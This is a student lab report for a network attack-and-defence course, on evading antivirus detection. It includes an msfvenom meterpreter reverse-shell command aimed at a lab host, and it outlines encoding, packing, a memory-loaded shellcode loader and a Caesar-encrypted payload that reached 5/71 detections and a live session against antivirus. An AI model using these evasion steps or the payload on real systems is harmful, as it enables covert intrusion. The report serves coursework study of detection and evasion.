20242313 2026-2027-1 《网络与系统攻防技术》实验三实验报告
20242313 2026-2027-1 《网络与系统攻防技术》实验三实验报告
0. 基础问题回答
(1)杀软是如何检测出恶意代码的?
杀软的检测大致分几层。最基础的是特征码检测:病毒库保存着大量已知恶意样本的特征字节,扫描时在文件中比对,命中即报毒,这招对已知样本最有效。其次是启发式扫描,不比对具体特征,而是根据代码里的可疑逻辑(如下载并执行、写注册表自启动)判断它是不是恶意软件。第三层是行为监控,在程序运行时观察行为,比如连接可疑地址、向其他进程注入、修改关键系统项,都会被拦截——这也解释了为什么有些文件扫描不报、一运行却被拦。此外还有机器学习,通过大量样本训练模型,辅助提升前面几层的识别能力。
(2)免杀是做什么?
免杀就是通过技术手段让恶意代码规避杀软检测,从而在目标主机上正常运行。核心在于静态层面消除或改变恶意特征,动态层面隐藏可疑行为,让杀软既无法通过扫描识别,也难以在运行时拦截。
(3)免杀的基本方法有哪些?
静态方面主要有:修改特征码、代码混淆或加密、加壳(压缩壳 UPX、加密壳 Hyperion)、更换文件格式。动态方面主要有:内存加载(把 shellcode 载入内存或注入其他进程执行)、延迟执行、行为伪装、反沙箱。实际中往往组合多层技术同时破坏多个检测点,本次实验最后通过编码、自定义加密与内存加载的组合把检出率压到了 5/71。
1. 基础知识
本次实验涉及的主要知识点:msfvenom 用于生成多种格式的恶意 payload;编码器(shikata_ga_nai)对 payload 变形以绕过特征检测;Veil 框架提供免杀模板;C 语言通过函数指针把 shellcode 直接在内存中执行;UPX 压缩壳与 Hyperion 加密壳对可执行文件加壳;凯撒移位加密对 shellcode 自定义混淆;Metasploit 的 exploit/multi/handler 用于建立反向连接监听;通过 VirusTotal 在线多引擎扫描测定检出率。
2. 实验内容
本实验要求掌握免杀的原理与技术,分别使用 MSF 编码器、Veil 框架、C 语言 + Shellcode 编程、加壳工具等生成免杀样本,通过组合多种技术实现恶意代码免杀,并在开启杀软的虚拟机中实测回连成功,注明杀软名称与版本。
3. 实验过程
3.1 基准样本生成
先用 msfvenom 生成一个未做任何处理的 Windows 反向连接后门,作为本次实验的基准,测定"完全不免杀"时的检出率,作为后续所有对比的基线。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.93.129 LPORT=2213 -f exe > base_20242313.exe
上传 VirusTotal,检出 52/71,绝大部分杀软都能识别,符合基准预期。

3.2 编码器与多格式文件测试
对 payload 使用 shikata_ga_nai 编码器迭代 1 次和 10 次,并生成 jar、elf 等其他格式文件,分别测检出率,观察编码器迭代次数和文件格式对免杀效果的影响。
| 文件 | 检出率 |
|---|---|
| encoded1(exe 编码1次) | 50/71 |
| encoded10(exe 编码10次) | 50/71 |
| jar / jar10 | 37/64 / 36/64 |
| elf / elf10 | 34/63 / 32/64 |
![]() |
|
![]() |
|
![]() |
|
![]() |
|
![]() |
|
![]() |
结果是:编码迭代对检出率几乎无影响(50/71 基本没动,杀软已能识别 ShikataGaNai 编码特征),文件格式差异有一定影响但有限。
3.3 Veil 框架免杀
安装 Veil 时下载依赖一度卡住(更换网络后解决),使用 c/meterpreter/rev_tcp 模板生成 C 语言反向连接样本。检出 36/71,比裸后门明显下降,但仍有相当检出。


3.4 C 语言 + Shellcode 加载器
用 msfvenom 生成 shellcode,编写 C 加载器,通过函数指针方式在内存中直接执行,编译为 exe。样本不落盘执行恶意代码,检出 29/71。


3.5 加壳处理
对加载器分别使用 UPX 压缩壳和 Hyperion 加密壳,检出率反而上升:UPX 34/71、Hyperion 50/70(ClamAV 直接识别出 Hyperion 壳特征)。说明加壳工具的特征同样已被杀软收录,单一加壳在现代杀软面前基本失效。



3.6 组合免杀与真机回连验证
将编码、自定义加密、内存加载组合使用。不用现成加密,自写凯撒加密:先把 shellcode 每个字节 +3 位移加密为密文存文件,再写加载器读取密文、解密后内存执行。磁盘上只有密文,无任何已知恶意特征,检出率降至 5/71。

拷贝到装有金山毒霸(V16)的 Win10 虚拟机,Kali 端 msfconsole 建立监听,双击运行后成功回连,弹出 meterpreter 会话,getuid 确认控制目标主机。金山毒霸开启状态下回连成功。


4. 问题及解决方案
-
问题1:Veil 生成时报 Permission denied,输出目录 /var/lib/veil/output 属 root。
解决方案:执行sudo chown -R kali:kali /var/lib/veil/output改属主后重新生成成功。 -
问题2:编译的 exe 在 Win10 上报"找不到 libgcc_s_dw2-1.dll",无法运行。
解决方案:MinGW 默认动态链接 GCC 运行时库,目标机没有这些 DLL。加-static静态链接重新编译,生成独立 exe。 -
问题3:密文文件 txt 下载后被 Windows Defender 实时保护删除,导致加载器读不到密文无法回连。
解决方案:装上金山毒霸后 Defender 实时保护被第三方杀软接管,重新下载即正常保留。 -
问题4:Veil 安装时下载依赖卡住。
解决方案:校园网不稳定,更换网络(手机热点)后安装完成。 -
问题5:wine 运行 Hyperion 时出现虚拟内存告警。
解决方案:属 wine 环境噪音,不影响文件生成,忽略即可。
5. 学习感悟、思考等
做这个实验之前,我总以为免杀就是把文件换个名字、加个壳就完事了。真动手才发现根本不是那么回事。光是 msf 自带的编码器,我原以为编码次数越多越安全,结果 10 次编码和 1 次没区别,检出率纹丝不动——现在的杀软早就不吃这一套了,编码器自己的特征都被收进库了。加壳也一样,我兴致勃勃给文件套了两层壳,检出率反而从 29 升到 50,挺受打击的。
后来我想明白一件事:免杀和杀软就是一场猫鼠游戏,你改一步,它就收录一步,没有一劳永逸的办法。真正管用的反而是最"笨"的组合:把 shellcode 用最基础的凯撒加密藏起来,再靠内存执行让它不落盘。检出率一下从 52 压到 5,那种感觉挺有成就感的,也让我体会到,与其迷信某个现成工具,不如理解原理自己动手。
做完也在想安全问题。免杀技术本身是中性的,能用来做坏事,也能用来检验自己防护有没有漏洞。这次是课程实验,但如果在真实环境里拿这套东西去搞别人电脑,那是违法的。学了攻击,更得守住底线。
参考资料
无







浙公网安备 33010602011771号